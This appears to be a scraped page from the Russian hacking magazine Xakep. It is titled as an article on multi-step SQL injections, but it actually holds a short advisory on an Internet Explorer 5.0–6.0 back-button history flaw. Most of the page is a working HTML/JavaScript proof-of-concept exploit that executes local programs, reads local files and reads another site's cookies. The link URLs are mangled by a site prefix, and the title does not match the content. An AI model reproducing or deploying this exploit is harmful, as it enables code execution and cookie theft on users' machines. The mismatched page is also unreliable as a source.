Xakep #305. Многошаговые SQL-инъекции
В списке истории посещенных URL остаются
страницы, содержащие в заголовке javascript код.
Код, введенный в URL, будет работать с теми же
настройками безопасности, что и у последней
просматриваемой страницы. Javascript из ссылки
может быть просто вызван, когда
пользователь нажимает backbutton. Т.е. может быть
вызван Javascript последней просматриваемой
страницы, он может читать или выполнять
локальные файлы.
Уязвимость найдена в IE 5.0-6.0
<html>
<h1>Press link and then the backbutton to trigger script.</h1> <a href="https://xakep.ru/wp-content/uploads/post/15003/javascript:execFile('file:///c:/winnt/system32/winmine.exe')">
Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br> <a href="https://xakep.ru/wp-content/uploads/post/15003/javascript:execFile('file:///c:/windows/system32/winmine.exe')">
Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br> <a href="https://xakep.ru/wp-content/uploads/post/15003/javascript:readFile('file:///c:/test.txt')">
Read c:\test.txt (needs to be created)</a><br>
<a href="https://xakep.ru/wp-content/uploads/post/15003/javascript:readCookie('http://www.google.com/')">
Read Google cookie</a>
<script>
// badUrl = "http://www.nonexistingdomain.se"; // Use if not XP badUrl = "res:"; function execFile(file){
s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 ';
s+= 'CODEBASE='+file+'></OBJECT>';
backBug(badUrl,s);
}
function readFile(file){
s = '<iframe name=i src='+file+' style=display:none onload=';
s+= 'alert(i.document.body.innerText)></iframe>';
backBug(badUrl,s);
}
function readCookie(url){
s = '<script>alert(document.cookie);close();<"+"/script>';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")')";
s+= ";history.back();} else '<script>location=\""+url
s+= "\";document.title=\""+page+"\";<"+"/script>';";
location = s;
}
</script></html>